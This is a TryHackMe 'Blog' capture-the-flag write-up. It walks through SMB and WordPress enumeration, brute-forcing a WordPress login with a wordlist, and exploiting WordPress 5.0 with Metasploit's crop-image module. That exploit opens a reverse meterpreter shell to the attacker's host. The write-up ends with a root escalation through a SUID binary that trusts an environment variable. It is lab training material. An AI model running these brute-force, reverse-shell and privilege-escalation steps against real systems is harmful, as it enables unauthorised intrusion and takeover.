THM Writeup – Blog
Billy Joel made a WordPress blog!
Billy Joel made a blog on his home computer and has started working on it. It’s going to be so awesome!
Enumerate this box and find the 2 flags that are hiding on it! Billy has some weird things going on his laptop. Can you maneuver around and get what you need? Or will you fall down the rabbit hole…
In order to get the blog to work with AWS, you’ll need to add blog.thm to your /etc/hosts file.
Credit to Sq00ky for the root privesc idea 😉
Add IP address to your hosts
file:
echo '10.10.177.209 blog.thm' >> /etc/hosts
Scan the target machine – find open ports first:
nmap -n -Pn -sS -p- --open -min-rate 5000 -vvv blog.thm
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
139/tcp open netbios-ssn syn-ack ttl 64
445/tcp open microsoft-ds syn-ack ttl 64
Get more details about open ports:
nmap -T4 -A -p 22,80,139,445 blog.thm
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
| 256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
|_ 256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (EdDSA)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.0
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Billy Joel's IT Blog – The IT blog
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
We have 4 ports open: 22 (SSH – Secure Shell), 80 (WEB – Web Server), 139 (Netbios-ssn) and 445 (SMB – Samba Share)
Enumeration, enumeration, enumeration…
Download enum4linux
, a tool used to enumerate SMB shares on both Windows and Linux systems and make it executable:
wget https://raw.githubusercontent.com/CiscoCXSecurity/enum4linux/master/enum4linux.pl
chmod +x enum4linux.pl
List possible users:
root@attackbox:~# ./enum4linux.pl -U blog.thm
WARNING: polenum is not in your path. Check that package is installed and your PATH is sane.
=========================================( Target Information )=========================================
Target ........... blog.thm
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
==============================( Enumerating Workgroup/Domain on blog.thm )==============================
[+] Got domain/workgroup name: WORKGROUP
=====================================( Session Check on blog.thm )=====================================
[+] Server blog.thm allows sessions using username '', password ''
==================================( Getting domain SID for blog.thm )==================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=========================================( Users on blog.thm )=========================================
Use of uninitialized value $users in print at ./enum4linux.pl line 972.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.
Use of uninitialized value $users in print at ./enum4linux.pl line 986.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.
As we can see the server allows sessions without username and password.
List remote shares using smbmap
:
root@attackbox:~# smbmap.py -H blog.thm -u anonymous
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[+] IP: blog.thm:445 Name: unknown Status: Guest session
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
BillySMB READ, WRITE Billy's local SMB Share
IPC$ NO ACCESS IPC Service (blog server (Samba, Ubuntu))
Now connect to BillySMB
share:
root@attackbox:~# smbclient //blog.thm/BillySMB
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \>
Instead of typing a password, hit ENTER.
List files and download what you’ll find:
smb: \> ls
. D 0 Thu May 19 06:06:49 2022
.. D 0 Tue May 26 18:58:23 2020
Alice-White-Rabbit.jpg N 33378 Tue May 26 19:17:01 2020
tswift.mp4 N 1236733 Tue May 26 19:13:45 2020
check-this.png N 3082 Tue May 26 19:13:43 2020
15413192 blocks of size 1024. 9788756 blocks available
Turn off the prompt and download all 3 files:
smb: \> prompt OFF
smb: \> mget *
getting file \Alice-White-Rabbit.jpg of size 33378 as Alice-White-Rabbit.jpg (285.9 KiloBytes/sec) (average 285.9 KiloBytes/sec)
getting file \tswift.mp4 of size 1236733 as tswift.mp4 (8051.6 KiloBytes/sec) (average 4698.3 KiloBytes/sec)
getting file \check-this.png of size 3082 as check-this.png (752.4 KiloBytes/sec) (average 4639.4 KiloBytes/sec)
smb: \>
Check the .jpg
file if there is a hidden message:
root@attackbox:~# steghide info Alice-White-Rabbit.jpg
"Alice-White-Rabbit.jpg":
format: jpeg
capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "rabbit_hole.txt":
size: 48.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
Instead of typing a passphrase, hit ENTER.
Now extract the hidden .txt
file and read it:
root@attackbox:~# steghide extract -sf Alice-White-Rabbit.jpg
Enter passphrase:
wrote extracted data to "rabbit_hole.txt".
root@attackbox:~# cat rabbit_hole.txt
You've found yourself in a rabbit hole, friend.
It looks like we went wrong way 🙂
Let’s take a look at the .png
file:
It is a QR code, when we read it we get an URL: https://qrgo.page.link/M6dE
By browsing the URL we are redirected to youtube:
It looks like another rabbit hole…
Now let’s take a look at port 80 – WordPress site – browse to http://blog.thm:
Enumerate the WordPress site using wpscan
:
root@attackbox:~# wpscan --url blog.thm -e vp,vt,cb,u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.7
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]Y
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://blog.thm/ [10.10.177.209]
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://blog.thm/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://blog.thm/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] WordPress readme found: http://blog.thm/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://blog.thm/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://blog.thm/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
| Found By: Rss Generator (Passive Detection)
| - http://blog.thm/feed/, <generator>https://wordpress.org/?v=5.0</generator>
| - http://blog.thm/comments/feed/, <generator>https://wordpress.org/?v=5.0</generator>
[+] WordPress theme in use: twentytwenty
| Location: http://blog.thm/wp-content/themes/twentytwenty/
| Last Updated: 2022-01-25T00:00:00.000Z
| Readme: http://blog.thm/wp-content/themes/twentytwenty/readme.txt
| [!] The version is out of date, the latest version is 1.9
| Style URL: http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3
| Style Name: Twenty Twenty
| Style URI: https://wordpress.org/themes/twentytwenty/
| Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3, Match: 'Version: 1.3'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:03 <> (470 / 470) 100.00% Time: 00:00:03
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] No themes Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:01 <=> (137 / 137) 100.00% Time: 00:00:01
[i] No Config Backups Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <==> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] kwheel
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] bjoel
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] Karen Wheeler
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Rss Generator (Aggressive Detection)
[+] Billy Joel
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Rss Generator (Aggressive Detection)
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up
We found out some interesting information:
- there is
robots.txt
file - XML-RPC is enabled
- it is vulnerable/insecure WordPress version 5.0
- theme used is
twentytwenty
- few usernames:
kwheel
,bjoel
At this point I tried to find bjoel
‘s password using wpscan
:
wpscan --url blog.thm -U bjoel --passwords /usr/share/wordlists/rockyou.txt
I let it run for like 2 minutes, but no luck.
So I tried the same with user kwheel
:
wpscan --url blog.thm -U kwheel --passwords /usr/share/wordlists/rockyou.txt
[!] Valid Combinations Found:
| Username: kwheel, Password: [REDACTED]
After like 30 seconds I had their password.
Browse to http://blog.thm/wp-admin and log in using credentials we’ve just found:
Getting a shell
So let’s recapitulate what we’ve got:
- access to user
kwheel
that is at least author – we saw her post on the main page http://blog.thm - vulnerable WordPress version 5.0
Let’s find an exploit for our WP version – look at exploit-db.com:
We found a verified exploit Crop-image Shell Upload created by Metasploit.
According to description we need a valid user with at least author privileges:
That is great, because we’ve got one 🙂
Launch metasploit:
msfconsole
Search for the exploit in metasploit and select it:
msf5 > search crop-image
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/wp_crop_rce 2019-02-19 excellent Yes WordPress Crop-image Shell Upload
msf5 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf5 exploit(multi/http/wp_crop_rce) >
See what options we need to set up:
msf5 exploit(multi/http/wp_crop_rce) > show options
Module options (exploit/multi/http/wp_crop_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.102.227 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress
msf5 exploit(multi/http/wp_crop_rce) >
We need to set these options: PASSWORD
, RHOSTS
, USERNAME
:
msf5 exploit(multi/http/wp_crop_rce) > set PASSWORD cutiepie1
PASSWORD => cutiepie1
msf5 exploit(multi/http/wp_crop_rce) > set USERNAME kwheel
USERNAME => kwheel
msf5 exploit(multi/http/wp_crop_rce) > set RHOSTS blog.thm
RHOSTS => blog.thm
msf5 exploit(multi/http/wp_crop_rce) >
Now exploit it:
msf5 exploit(multi/http/wp_crop_rce) > exploit
[*] Started reverse TCP handler on 10.10.102.227:4444
[*] Authenticating with WordPress using kwheel:cutiepie1...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (38288 bytes) to 10.10.177.209
[*] Meterpreter session 1 opened (10.10.102.227:4444 -> 10.10.177.209:49322) at
[*] Attempting to clean up files...
meterpreter >
And we’ve got a meterpreter session.
Check what users exist on this machine:
meterpreter > ls -la /home
Listing: /home
==============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40755/rwxr-xr-x 4096 dir 2020-05-26 21:08:48 +0100 bjoel
Find user.txt
and read it:
meterpreter > cd /home/bjoel
meterpreter > ls -la
Listing: /home/bjoel
====================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
20666/rw-rw-rw- 0 cha 2022-05-19 05:54:43 +0100 .bash_history
100644/rw-r--r-- 220 fil 2018-04-04 19:30:26 +0100 .bash_logout
100644/rw-r--r-- 3771 fil 2018-04-04 19:30:26 +0100 .bashrc
40700/rwx------ 4096 dir 2020-05-25 14:15:58 +0100 .cache
40700/rwx------ 4096 dir 2020-05-25 14:15:58 +0100 .gnupg
100644/rw-r--r-- 807 fil 2018-04-04 19:30:26 +0100 .profile
100644/rw-r--r-- 0 fil 2020-05-25 14:16:22 +0100 .sudo_as_admin_successful
100644/rw-r--r-- 69106 fil 2020-05-26 19:33:24 +0100 Billy_Joel_Termination_May20-2020.pdf
100644/rw-r--r-- 57 fil 2020-05-26 21:08:47 +0100 user.txt
meterpreter > cat user.txt
You won't find what you're looking for here.
TRY HARDER
Hmm, another rabbit hole.
Privilege Escalation
Spawn a shell in our meterpreter session:
meterpreter > shell
Process 17884 created.
Channel 2 created.
Try to find a way to escalate our privileges – find executables with SUID bit set:
find / -type f -perm -4000 2>/dev/null
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/traceroute6.iputils
/usr/sbin/checker
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/mount
/bin/fusermount
/bin/umount
/bin/ping
/bin/su
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9066/bin/mount
/snap/core/9066/bin/ping
/snap/core/9066/bin/ping6
/snap/core/9066/bin/su
/snap/core/9066/bin/umount
/snap/core/9066/usr/bin/chfn
/snap/core/9066/usr/bin/chsh
/snap/core/9066/usr/bin/gpasswd
/snap/core/9066/usr/bin/newgrp
/snap/core/9066/usr/bin/passwd
/snap/core/9066/usr/bin/sudo
/snap/core/9066/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9066/usr/lib/openssh/ssh-keysign
/snap/core/9066/usr/lib/snapd/snap-confine
/snap/core/9066/usr/sbin/pppd
Executable that stands out is /usr/sbin/checker
– honestly, I have no idea what it is and what it does…
Check who is the owner:
ls -la /usr/sbin/checker
-rwsr-sr-x 1 root root 8432 May 26 2020 /usr/sbin/checker
It is owned by root
user and has the SUID bit set so we might be able to escalate our privileges to root
.
Let’s run the binary – see what happens:
/usr/sbin/checker
Not an Admin
The “response” is Not an Admin
– it probably somehow checks if user that runs it, is admin.
At this point I used ltrace
so I know how the binary works (ltrace is a debugging utility in Linux, used to display the calls a userspace application makes to shared libraries):
ltrace /usr/sbin/checker
getenv("admin") = nil
puts("Not an Admin") = 13
Not an Admin
+++ exited (status 0) +++
This is going to be easier than I thought – it gets environment variable called admin
and then it prints out Not an Admin
– my guess is we just need to set admin
env variable.
Let’s give it a try and see what happens:
export admin=1
ltrace /usr/sbin/checker
getenv("admin") = "1"
setuid(0) = -1
system("/bin/bash"
Great news – this way we get root
– if admin=1
it will set UID to root
and run bash
So execute the binary again, but this time without ltrace
:
/usr/sbin/checker
id
uid=0(root) gid=33(www-data) groups=33(www-data)
Now, there must be another user.txt
file, since the one we found earlier was a rabbit hole:
find / -type f -name "user.txt" 2>/dev/null
/home/bjoel/user.txt
/media/usb/user.txt
Read the user flag:
cat /media/usb/user.txt
[REDACTED]
And of course don’t forget to read the root flag:
cat /root/root.txt
[REDACTED]
Do you like this writeup? Check out other THM Writeups.